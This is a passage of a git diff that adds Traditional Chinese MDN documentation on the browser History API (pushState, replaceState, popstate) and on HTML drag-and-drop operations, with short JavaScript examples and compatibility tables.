+  <p>state 物件可以是任何可序列化的東西。因為 Firefox 儲存 state 物件到使用者的硬碟，當瀏覽器被重新啟動的時候，他們是可以被恢復的，因此我們加上了 640k 個字元的長度限制在一個以序列化表示的 state object。如果你傳送一個比這個更大的序列化表示的 state object 到 <code>pushState()</code>，這個方法會丟出一個例外事件。如果你需要更多空間的話，你可以試著用 <code>sessionStorage</code> 和／或 <code>localStorage</code>。</p>
+ </li>
+ <li>
+  <p><strong>title</strong>——Firefox 目前忽略了這個參數，雖然他以後有可能會採用。如果以後改變了這個作法，傳送空白的字串應該還會是安全的。另外，你可以傳送一個短的標題來敘述你想要到的 state。</p>
+ </li>
+ <li>
+  <p><strong>URL</strong>——這個新歷史紀錄的 URL 從這個參數做設定。值得注意的是，在 <code>pushState()</code> 被呼叫之後，瀏覽器並不會馬上嘗試載入這個 URL ，但是它可能在以後嘗試載入這個 URL ，例如使用者重新開啟瀏覽器之後。新的 URL 不一定需要為一個絕對的路徑；如果是相對路徑，會依據目前的URL來解析。新的 URL 需要與目前 URL 的 origin 是一樣的；否則，pushState() 會丟出一個錯誤的例外。這個參數是選擇性的；如果沒有被指定的話，他會設定為目前文件的 URL。</p>
+ </li>
+</ul>
+
+<div class="note"><strong>備註：</strong>在 Gecko 2.0 {{ geckoRelease("2.0") }} 到 Gecko 5.0 {{ geckoRelease("5.0") }}，是採用 JSON 來序列化這個傳送的物件。從 Gecko 6.0 {{ geckoRelease("6.0") }} 開始,這個物件是以 <a href="/zh-TW/DOM/The_structured_clone_algorithm">the structured clone algorithm</a> 序列化。這會允許更多種不同的物件可以被安全的傳送。</div>
+
+<p>從某種意義上，呼叫 <code>pushState()</code> 與設定 <code>window.location = "#foo"</code> 是類似的，兩個都會去建立和啟用另一個和目前文件有關的歷史紀錄。但是 <code>pushState()</code> 有一些優勢：</p>
+
+<ul>
+ <li>新的 URL 可以是任何一個與目前的 URL 在同一個 origin 的 URL。相對來說，只有你設定 <code>window.location</code> 只修改 hash 時，才讓你保持在同一個 {{ domxref("document") }} 。</li>
+ <li>如果你不想要的話，你可以不必去改變 URL 。相對來說，設定 <code>window.location = "#foo";</code> 只有在目前的 hash 不是 <code>#foo</code> 的時候，會建立一個新的歷史紀錄。</li>
+ <li>你可以將任意的資料與你的新的歷史紀錄做關聯。用 hash-based 的方法，你需要將所有相關的資料編碼成一個短字串。</li>
+ <li>If <code>title </code>is subsequently used by browsers, this data can be utilized (independent of, say, the hash).</li>
+</ul>
+
+<p>注意 <code>pushState()</code> 永遠不會造成一個 <code>hashchange</code> 事件被觸發，即使新的 URL 和舊的 URL 的不同處只有 hash 的部份也不會。</p>
+
+<p>In a <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a> document, it creates the specified XUL element.</p>
+
+<p>In other documents, it creates an element with a <code>null</code> namespace URI.</p>
+
+<h3 id="replaceState()_方法">replaceState() 方法</h3>
+
+<p><code>history.replaceState()</code> 的執行就像 <code>history.pushState()</code> ，除了 <code>replaceState() </code>是修改目前的歷史紀錄而不是創造一個新的。</p>
+
+<p><code>replaceState() </code>很實用的時機是當你要更新目前歷史紀錄的 state object 或是URL來反應一些使用者的動作時。</p>
+
+<div class="note"><strong>備註：</strong>在 Gecko 2.0 {{ geckoRelease("2.0") }} 到 Gecko 5.0 {{ geckoRelease("5.0") }}，是採用 JSON 來序列化這個傳送的物件。從 Gecko 6.0 {{ geckoRelease("6.0") }} 開始, 這個物件是以 <a href="/zh-TW/DOM/The_structured_clone_algorithm">the structured clone algorithm</a> 序列化。這會允許更多種不同的物件可以被安全的傳送。</div>
+
+<h3 id="replaceState()_方法範例">replaceState() 方法範例</h3>
+
+<p>Suppose <span class="nowiki">http://mozilla.org/foo.html</span> executes the following JavaScript:</p>
+
+<pre class="brush: js">var stateObj = { foo: "bar" };
+history.pushState(stateObj, "page 2", "bar.html");
+</pre>
+
+<p>The explanation of these two lines above can be found at "Example of pushState() method" section. Then suppose <span class="nowiki">http://mozilla.org/bar.html</span> executes the following JavaScript:</p>
+
+<pre class="brush: js">history.replaceState(stateObj, "page 3", "bar2.html");
+</pre>
+
+<p>This will cause the URL bar to display <span class="nowiki">http://mozilla.org/bar2.html</span>, but won't cause the browser to load <code>bar2.html</code> or even check that <code>bar2.html</code> exists.</p>
+
+<p>Suppose now that the user now navigates to <span class="nowiki">http://www.microsoft.com</span>, then clicks back. At this point, the URL bar will display <span class="nowiki">http://mozilla.org/bar2.html. If the user now clicks back again, the URL bar will display http://mozilla.org/foo.html, and totaly bypass bar.html.</span></p>
+
+<h3 id="popstate_事件">popstate 事件</h3>
+
+<p>每次 active 的歷史紀錄被更動的時候，一個 <code>popstate</code> 事件會被發送到目前的 window。如果被啟用的歷史紀錄是由於呼叫 <code>pushState</code> 建立的或是呼叫 <code>replaceState</code> 所影響的，這個 <code>popstate</code> 事件的 <code>state</code> 屬性會含有一個歷史紀錄的 state object 的副本。</p>
+
+<p>使用範例參閱 {{ domxref("window.onpopstate") }}。</p>
+
+<h3 id="讀取目前的_state">讀取目前的 state</h3>
+
+<p>當你讀取頁面的時候，可能會有 non-null state 的物件。這會發生在，例如說，如果設定一個 state 物件（用 <code>pushState()</code> 或是 <code>replaceState()</code>），然後使用者重新啟動他的瀏覽器。當重新讀取你的頁面的時候，頁面會得到一個 <code>onload</code> 事件，但是沒有 <code>popstate</code> 事件。然而，如果你讀取了 <code> history.state</code> 屬性，你會得到像是 <code>popstate</code> 被觸發時，你會得到的 state object 。</p>
+
+<p>像這樣使用 <code>history.state</code> 屬性，你可以讀取目前的歷史紀錄的<code>狀態</code>而不需要等待一個 <code>popstate</code> 事件：</p>
+
+<pre class="brush: js">var currentState = history.state;
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>完整的 AJAX 網站範例 ，請參閱：<a href="/zh-TW/docs/DOM/Manipulating_the_browser_history/Example">Ajax navigation example</a>。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>replaceState, pushState</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>history.state</td>
+   <td>18</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>replaceState, pushState</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>history.state</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><strong style="font-size: 2.143rem; font-weight: 700; letter-spacing: -1px; line-height: 1;">參見</strong></p>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/DOM/Manipulating_the_browser_history"} ) }}</p>
diff --git a/files/zh-tw/web/api/html_drag_and_drop_api/drag_operations/index.html b/files/zh-tw/web/api/html_drag_and_drop_api/drag_operations/index.html
new file mode 100644
index 0000000000..c609d6f4d4
--- /dev/null
+++ b/files/zh-tw/web/api/html_drag_and_drop_api/drag_operations/index.html
@@ -0,0 +1,336 @@
+---
+title: 拖曳操作
+slug: Web/API/HTML_Drag_and_Drop_API/Drag_operations
+translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p>本文會一一說明拖曳各步驟的作業。</p>
+
+<p class="note">The drag operations described in this document use the {{domxref("DataTransfer")}} interface. This document does <em>not</em> use the {{domxref("DataTransferItem")}} interface nor the {{domxref("DataTransferItemList")}} interface.</p>
+
+<h2 id="draggableattribute" name="draggableattribute">Draggable 屬性</h2>
+
+<p>網頁中有些預設的拖曳行為，例如文字選擇、圖片或超連結，當拖曳圖片或超連結時，圖片或超連結的 URL 會被當作拖曳作業中所攜帶的資料，而其他類型元素則必須另外處理才能拖曳，試試看選擇網頁某一部分，然後按住滑鼠鍵來進行拖曳，依據OS不同，或許會有一些跟著滑鼠移動的效果，但這僅僅只是預設效果行為，實際上沒有任何資料跟著被拖曳。</p>
+
+<p>In HTML, apart from the default behavior for images, links, and selections, no other elements are draggable by default. In <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>, all elements are draggable.</p>
+
+<p>除了文字選擇、圖片或超連結之外，沒有元素預設是可拖曳的。所以要讓一個元素可以拖曳，有幾件事必須要做：</p>
+
+<ul>
+ <li>在想要拖曳的元素上設定 <code>{{htmlattrxref("draggable")}}</code> 屬性為 <code>true</code>。</li>
+ <li>註冊 <code>{{event("dragstart")}}</code> 事件之事件處理器。</li>
+ <li>{{domxref("DataTransfer.setData","Set the drag data")}} within the listener defined above.</li>
+</ul>
+
+<p>以下是一段簡單的範例。</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+  This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/div&gt;
+</pre>
+
+<p>draggable 為 true後，該 DIV 元素便可以拖曳，反之，倘若 draggable 為 false 或無設定則不可拖曳，只有其中下含的文字可以被選擇。draggable 屬性適用於任何元素，一般來說預設為false，除了圖片和連結預設為 true，所以說如果想要阻止圖片和連結被拖曳，則可以設定draggable 為 false。</p>
+
+<p>請注意，一旦元素被定為可拖曳之後，其下內含的文字或其他元素便無法像平常一樣用滑鼠選擇，使用者之能夠改用鍵盤或按住 Alt 鍵搭配滑鼠進行選擇。</p>
+
+<p>至於 XUL 元素則是預設皆可拖曳。</p>
+
+<pre class="brush: html">&lt;button label="Drag Me" ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');"&gt;
+</pre>
+
+<h2 id="dragstart" name="dragstart">開始拖曳</h2>
+
+<p>下方範例在dragstart註冊一個事件處理器。</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+  This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/div&gt;
+</pre>
+
+<p>當拖曳作業開始，dragstart 事件會觸發，然後我們可以在事件處理器中準備好我們所要攜帶的資料、想要的拖曳回饋效果，不過基本上其實只需要準備資料就好，因為預設拖曳回饋效果已經足以應付大多數的狀況，此外，我們也可以改在上一層父元素註冊事件處理器，因為拖曳事件會上向傳遞 ( Bubble up ) 。</p>
+
+<h2 id="dragdata" name="dragdata">拖曳資料</h2>
+
+<p>所有的拖曳事件物件都有一個 <a href="/en-US/docs/DragDrop/DataTransfer" title="dataTransfer">dataTransfer</a> 屬性，這個屬性是用來攜帶資料。</p>
+
+<p>當拖曳時，資料必須和被拖曳目標作連結，比如說拖曳文字框中反白選擇的文字，那麼文字本身便是連結資料，同理，拖曳連結時URL便是連結資料。</p>
+
+<p>資料包含兩個部分，一是資料型態(或格式)、二是資料值。所謂資料型態是用文字描述資料型態(如<a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" style="line-height: 1.5;" title="text/plain">text/plain</a><span style="line-height: 1.5;">代表文字資料)，而資料值則是文字，要加入拖</span>曳<span style="line-height: 1.5;">資料需要提供資料的型態和內容值；有了資料後，我們可以在dragenter或dragover事件處理器中，透過檢查資料型態來決定是否可以接受後續的放置操作，比如說只接受連結類資料的拖</span>曳<span style="line-height: 1.5;">目標區(drop target)，會檢查資料型態是否為</span><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" style="line-height: 1.5;" title="text/uri-list">text/uri-list</a><span style="line-height: 1.5;">。</span></p>
+
+<p>資料型態符合MIME型態，如<a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" style="line-height: 1.5;" title="text/plain">text/plain</a><span style="line-height: 1.5;">或</span><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#image" style="line-height: 1.5;" title="image/jpeg">image/jpeg</a><span style="line-height: 1.5;">等等，而我們自己也可以自定義其他型態，最常使用的型態請見</span><a href="/en-US/docs/DragDrop/Recommended_Drag_Types" style="line-height: 1.5;" title="/en-US/docs/DragDrop/Recommended_Drag_Types">推薦拖曳資料型態</a>。</p>
+
+<p>一趟拖曳作業中可以攜帶多個多種型態的資料，所以我們可以自定義自己的型態同時，還提供其他資料給不認得自定義資料型態的其他拖曳目標區使用。通常最通用的資料會是文字類型資料。</p>
+
+<p>呼叫<a href="/en-US/docs/DragDrop/DataTransfer#setData.28.29" style="line-height: 1.5;" title="setData">setData</a><span style="line-height: 1.5;">方法，傳入資料型態和資料，這樣就可以攜帶想要的資料了：</span></p>
+
+<pre class="brush: js">event.dataTransfer.setData("text/plain", "Text to drag");
+</pre>
+
+<p>上例資料是”Text to drag”文字，型態是text/plain。</p>
+
+<p><span style="line-height: 1.5;">呼叫多次setData我們就可以攜帶多種資料。</span></p>
+
+<pre class="brush: js">var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+</pre>
+
+<p>這裡加入了三種資料，第一種是自定義的”application/x-bookmark”，雖然有更豐富的內容可使用，但只有我們自己認識，而另外我們又為其他網站或應用加入了兩種比較常見的資料，”text/uri-list”以及”text/plain”。</p>
+
+<p>如果對同一種資料型態加入兩次資料，則新加資料會取代舊資料。</p>
+
+<p><span style="line-height: 1.5;">呼叫</span><a href="/en-US/docs/DragDrop/DataTransfer#clearData.28.29" style="line-height: 1.5;" title="clearData">clearData</a><span style="line-height: 1.5;">會清除資料。</span></p>
+
+<pre class="brush: js">event.dataTransfer.clearData("text/uri-list");
+</pre>
+
+<p>如果呼叫clearData時有傳入資料型態，則只會清除該型態資料，如果沒有傳入任何型態，則所有資料皆會被清除。</p>
+
+<h2 id="dragfeedback" name="dragfeedback">設定拖曳圖片</h2>
+
+<p>當拖曳進行中，以拖曳元素為基礎，一個半透明的圖片會自動產生出來，並且跟著滑鼠移動。如果想要，我們也可以呼叫<code><a href="/en-US/docs/DragDrop/DataTransfer#setDragImage.28.29" title="setDragImage">setDragImage()來指定我們自己的拖曳使用圖片。</a></code></p>
+
+<pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset);
+</pre>
+
+<p>setDragImage需要三個參數，一是圖片來源(通常是圖片元素，但也可以是canvas元素或其他元素)，拖曳使用圖片會依照圖片來源在螢幕上所顯示的樣子產生；二和三是圖片相對於滑鼠指標的位置位移量。</p>
+
+<p><span style="line-height: 1.5;">不過也是能夠使用文件外部的圖片或canvas元素，當需要透過canvas元素產生客製圖片時，這個技巧很有用，如下範例所示：</span></p>
+
+<pre class="brush: js">function dragWithCustomImage(event) {
+  var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+</pre>
+
+<p>上面我們的canvas是50 x 50px大小，然後我們位移一半25讓圖片落在滑鼠指標中央。 </p>
+
+<p>{{h2_gecko_minversion("使用XUL panel元素作為拖曳圖片", "9.0")}}</p>
+
+<p>在Gecko上開發，比如說外掛或Mozllia應用程式，Gecko9.0{{geckoRelease("9.0")}}支援使用{{XULElem("panel")}}元素作為拖曳圖片，簡單將XUL panel元素傳入setDragImage方法即可。</p>
+
+<p>試想下面這個 {{XULElem("panel")}}元素:</p>
+
+<pre class="brush: xml">&lt;<span class="start-tag">panel</span><span class="attribute-name"> id</span>=<span class="attribute-value">"panel" </span><span class="attribute-name">style</span>=<span class="attribute-value">"opacity: 0.6</span><span class="attribute-value">"</span>&gt;
+  &lt;<span class="start-tag">description</span><span class="attribute-name"> id</span>=<span class="attribute-value">"pb"</span>&gt;Drag Me&lt;/<span class="end-tag">description</span>&gt;
+&lt;/<span class="end-tag">panel</span>&gt;
+
+&lt;<span class="start-tag">vbox</span><span class="attribute-name"> align</span>=<span class="attribute-value">"start" </span><span class="attribute-name">style</span>=<span class="attribute-value">"border: 1px solid black;" </span><span class="attribute-name">ondragstart</span>=<span class="attribute-value">"startDrag(event)"</span>&gt;
+  &lt;<span class="start-tag">description</span>&gt;Drag Me&lt;/<span class="end-tag">description</span>&gt;
+&lt;/<span class="end-tag">vbox</span>&gt;
+</pre>
+
+<p>當使用者拖曳{{XULElem("vbox")}} 元素時，startDrag函數會被呼叫。</p>
+
+<pre class="brush: js"><span class="cdata">function startDrag(event) {
+  event.dataTransfer.setData("text/plain", "&lt;strong&gt;Body&lt;/strong&gt;");
+  event.dataTransfer.setDragImage(document.getElementById("panel"), 20, 20);
+}</span>
+</pre>
+
+<p>我們用HTML格式的"&lt;strong&gt;Body&lt;/strong&gt;"作為資料，然後用pnael元素作為圖片。</p>
+
+<h2 id="drageffects" name="drageffects">拖曳效果</h2>
+
+<p>拖曳作業有好機種；copy作業代表被拖曳資料會被複製一份到拖曳目標區，move作業代表移動被拖曳的資料，link作業代表拖曳來源區和拖曳目標區有某種關係。</p>
+
+<p>在dragstart事件中可以設定<a href="/en-US/docs/DragDrop/DataTransfer#effectAllowed.28.29" style="line-height: 1.5;" title="effectAllowed">effectAllowed</a><span style="line-height: 1.5;">屬性，指定拖曳源頭允許的作業。</span></p>
+
+<pre class="brush: js">event.dataTransfer.effectAllowed = "copy";
+</pre>
+
+<p>上面只有copy被允許，但還有其他種類：</p>
+
+<p>     只能移動或連結。</p>
+
+<dl>
+ <dt>none</dt>
+ <dd>不允許任何作業。</dd>
+ <dt>copy</dt>
+ <dd>只能複製。</dd>
+ <dt>move</dt>
+ <dd>只能移動。</dd>
+ <dt>link</dt>
+ <dd>只有連結。</dd>
+ <dt>copyMove</dt>
+ <dd>只能複製或移動。</dd>
+ <dt>copyLink</dt>
+ <dd>只能複製或連結。</dd>
+ <dt>linkMove</dt>
+ <dt>all</dt>
+ <dd>複製、移動或連結皆可。</dd>
+</dl>
+
+<p><a href="/en-US/docs/DragDrop/DataTransfer#effectAllowed.28.29" title="effectAllowed">effectAllowed</a> 屬性預設所有作業都接受，如all值。</p>
+
+<p>在dragenter或dragover事件中，我們可以藉由檢查effectAllowed來知道那些作業是被允許的，另外，另一個相關聯的<a href="/en-US/docs/DragDrop/DataTransfer#dropEffect.28.29" style="line-height: 1.5;" title="dropEffect">dropEffect</a><span style="line-height: 1.5;">屬性應該要是effectAllowed的其中一個作業，但是dropEffect不接受多重作業，只可以是none, copy, move和link。</span></p>
+
+<p>dropEffect屬性會在在dragenter以及dragover事件中初始化為使用者想要執行的作業效果，使用者能夠透過按鍵(依平台不同，通常是Shift或Ctrl鍵)，在複製、移動、連接作業之間切換，同時滑鼠指標也會跟著相應變換，例如複製作業的滑鼠旁會多出一個+的符號。</p>
+
+<p>effectAllowed和dropEffect屬性可以在dragenter或dragover事件中更改，更改effectAllowed屬性能讓拖曳作業只能在支援被允許作業類型的拖曳目標上執行，好比說effectAllowed為copyMove的作業就會阻止使用者進行link類型的作業。</p>
+
+<p>我們也可以更改dropEffect來強迫使用者執行某項作業，而且應該要是effectAllowed所列舉的作業。</p>
+
+<pre class="brush: js">event.dataTransfer.effectAllowed = "copyMove";
+event.dataTransfer.dropEffect = "copy";
+</pre>
+
+<p>上面的範例中copy就是會被執行的作業效果。</p>
+
+<p>若effectAllowed或dropEffect為none，那麼沒有放置作業可以被執行。</p>
+
+<h2 id="droptargets" name="droptargets">指定拖曳目標</h2>
+
+<p>dragenter和dragover事件就是用來指定拖曳目標區，也就是放置資料的目標區，絕大多數的元素預設的事件都不准放置資料。</p>
+
+<p>所以想要放置資料到元素上，就必須取消預設事件行為。取消預設事件行為能夠藉由回傳false或呼叫<a href="/en-US/docs/DOM/event.preventDefault" title="DOM/event.preventDefault">event.preventDefault</a>方法。</p>
+
+<pre class="brush: html">&lt;div ondragover="return false"&gt;
+&lt;div ondragover="event.preventDefault()"&gt;
+</pre>
+
+<p>通常我們只有在適當的時機點才需要呼叫event.preventDefault方法、取消預設事件行為，比如說被拖曳進來的是連結。所以檢查被拖曳進來的物件，當符合條件後再來取消預設事件行為。</p>
+
+<p>藉由檢查拖曳資料型態來決定是否允許放置，是最常見的作法。dataTransfer物件的<a href="/en-US/docs/DragDrop/DataTransfer#types.28.29" style="line-height: 1.5;" title="types">types</a><span style="line-height: 1.5;">屬性是一個拖曳資料型態的列表，其中順序按照資料被加入之先後排序。</span></p>
+
+<pre class="brush: js">function doDragOver(event)
+{
+  var isLink = event.dataTransfer.types.contains("text/uri-list");
+  if (isLink)
+    event.preventDefault();
+}
+</pre>
+
+<p>上面我們呼叫contains方法檢察text/uri-list是否存在拖曳資料型態的列表之內，有的話才取消預設行為、准許放置作業，否則，不取消預設行為、不准許放置作業。</p>
+
+<p>檢查拖曳資料型態後，我們也可以依此更動effectAllowed和dropEffect屬性，只不過，如果沒有取消預設行為，更動並不會有甚麼影響。</p>
+
+<h3 id="Updates_to_DataTransfer.types">Updates to DataTransfer.types</h3>
+
+<p>Note that the latest spec now dictates that {{domxref("DataTransfer.types")}} should return a frozen array of {{domxref("DOMString")}}s rather than a {{domxref("DOMStringList")}} (this is supported in Firefox 52 and above).</p>
+
+<p>As a result, the <a href="/en-US/docs/Web/API/Node/contains">contains</a> method no longer works on the property; the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes">includes</a> method should be used instead to check if a specific type of data is provided, using code like the following:</p>
+
+<pre class="brush: js">if ([...event.dataTransfer.types].includes('text/html')) {
+  // Do something
+}</pre>
+
+<p>You could always use some feature detection to determine which method is supported on <code>types</code>, and run code as appropriate.</p>
+
+<h2 id="dropfeedback" name="dropfeedback">放置回饋</h2>
+
+<p>有好幾種方法回饋使用者，告訴使用者甚麼元素可以接受放置作業，最簡單的是滑鼠會指標會自動變換樣式(視平台而定)。</p>
+
+<p>滑鼠指標提示雖然夠用了，不過有時我們還是會想做其他UI上的樣式變化。-moz-drag-over的CSS pseudo-class便可以應用在拖曳目標元素上。</p>
+
+<pre class="brush: css">.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+</pre>
+
+<p>當目標元素的dragenter預設事件有被取消時，這個pseudo-class就會啟動，目標UI會套用1px的黑色border，請注意dragover並不會檢查這項設定。</p>
+
+<p>其他比如說插入圖片等，在dragenter事件內執行更多更複雜的樣式變化也是可以的。</p>
+
+<p>倘若想要做出圖片更著滑鼠在拖曳目標區上面移動的效果，那麼可以在dragover事件內來取得的<a href="/en-US/docs/DOM/event.clientX" style="line-height: 1.5;" title="clientX">clientX</a><span style="line-height: 1.5;">和</span><a href="/en-US/docs/DOM/event.clientY" style="line-height: 1.5;" title="clientY">clientY</a><span style="line-height: 1.5;">的滑鼠座標資訊。</span></p>
+
+<p>最後，應該要在dragleave事件內復原之前所做樣式變更，dragleave事件不需要取消預設事件行為、永遠都會觸發，即使拖曳被取消了；至於使用-moz-drag-over的CSS方法的話，樣式復原會自動執行，不用擔心。</p>
+
+<h2 id="drop" name="drop">執行放置作業</h2>
+
+<p>當使用者在拖曳目標區上放開滑鼠時，drop事件就會觸發。<span style="line-height: 1.5;">當drop事件發生，我們需要取出被丟入的資料，然後處理之。</span></p>
+
+<p>要取出被丟入的資料，那就要呼叫dataTransfer物件的<a href="/en-US/docs/DragDrop/DataTransfer#getData.28.29" style="line-height: 1.5;" title="getData">getData</a><span style="line-height: 1.5;">方法。getData方法接受資料型態的參數，它會回傳</span><a href="/en-US/docs/DragDrop/DataTransfer#setData.28.29" style="line-height: 1.5;" title="setData">setData</a><span style="line-height: 1.5;">所存入的對應資料型態的資料，倘若沒有對應型態資料，那空字串就會被回傳。</span></p>
+
+<pre class="brush: js">function onDrop(event)
+{
+  var data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+} </pre>
+
+<p><span style="line-height: 1.5;">上面的範例會取出文字資料，假設拖曳目標區是文字區域，例如p或div元素，那麼資料就會被當作文字內容，插入目標元素之中。</span></p>
+
+<p>網頁之中，如果我們已經處理過放置資料，那應該要呼叫{preventDefault}方法防止瀏覽器再次處理資料，比如說，Firefox預設是會開啟拖入的連結，但我們可以取消這項預設行為來避免開啟連結。</p>
+
+<p>當然也可以取得其他種類資料來使用，比如說連結資料，<a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" style="line-height: 1.5;" title="text/uri-list">text/uri-list</a><span style="line-height: 1.5;">。</span></p>
+
+<pre class="brush: js">function doDrop(event)
+{
+  var links = event.dataTransfer.getData("text/uri-list").split("\n");
+  for each (var link in links) {
+    if (link.indexOf("#") == 0)
+      continue;
+
+    var newlink = document.createElement("a");
+    newlink.href = link;
+    newlink.textContent = link;
+    event.target.appendChild(newlink);
+  }
+  event.preventDefault();
+}
+</pre>
+
+<p>上面的範例取得連結資料，然後生成連結元素、加入頁面。從text/uri-list字面上不難猜出這種資料是一行行的URL，所以我們呼叫<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" style="line-height: 1.5;" title="split">split</a><span style="line-height: 1.5;">方法拆開一行行的URL，再將URL一個一個加入頁面。請注意我們有避開開頭為”#”字元的註解。</span></p>
+
+<p>更簡單的作法是採用特別URL型態。URL型態是一個特殊簡寫用途形態，它不會出現在{types}屬性中，但它可以方便的取得第一個連結，如下:</p>
+
+<pre class="brush: js">var link = event.dataTransfer.getData("URL");
+</pre>
+
+<p>這個作法能夠省去檢查註解和一個一個掃過URL，但只會得到第一個URL。</p>
+
+<p>下面的例子會從多個支援的資料型態中，找出支援的資料。</p>
+
+<pre class="brush: js">function doDrop(event)
+{
+  var types = event.dataTransfer.types;
+  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  types = supportedTypes.filter(function (value) types.contains(value));
+  if (types.length)
+    var data = event.dataTransfer.getData(types[0]);
+  event.preventDefault();
+}</pre>
+
+<h2 id="dragend" name="dragend">完成拖曳</h2>
+
+<p>拖曳作業完成後，不論成功或取消於否，被拖曳元素的<code style="line-height: 1.5;"><a href="/en-US/docs/Web/Reference/Events/dragend" style="line-height: 1.5;">dragend</a></code><span style="line-height: 1.5;">事件都會觸發，如果想要判別作業是否完成，可以檢查dropEffect屬性，若是dropEffect為none，代表拖曳作業被取消，否則dropEffect的值代表所完成的作業類型。</span></p>
+
+<p>有一個Gecko專屬的<a href="/en-US/docs/DragDrop/DataTransfer#mozUserCancelled.28.29" style="line-height: 1.5;" title="dropEffect">mozUserCancelled</a><span style="line-height: 1.5;">屬性，當使用者按ESC鍵取消拖曳後，這個屬性會為true，但若是因其他理由被取消或成功，則為false</span></p>
+
+<p>拖曳作業的放置可以發生在同一個視窗或其他應用程式，而且dragend事件還是會觸發，不過事件中的<a href="/en-US/docs/DOM/event.screenX" style="line-height: 1.5;" title="screenX">screenX</a><span style="line-height: 1.5;">與</span><a href="/en-US/docs/DOM/event.screenY" style="line-height: 1.5;" title="screenY">screenY</a><span style="line-height: 1.5;">屬性會是放置發生點的資訊。</span></p>
+
+<p>當dragend事件結束傳遞後，拖曳作業也完成了。</p>
+
+<p>[1] 在Gecko，如果被拖曳元素在拖曳作業還在進行中移動或刪除，那麼dragend事件就不會觸發。<a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=460801" title="New D&amp;D API: dragend is not dispatched if the source node was moved or removed during the drag session">bug 460801</a></p>
+
+<div class="s3gt_translate_tooltip" id="s3gt_translate_tooltip" style="position: absolute; left: 107px; top: 546px; opacity: 0;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="翻譯選取的文字"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="朗讀"> </div>
+
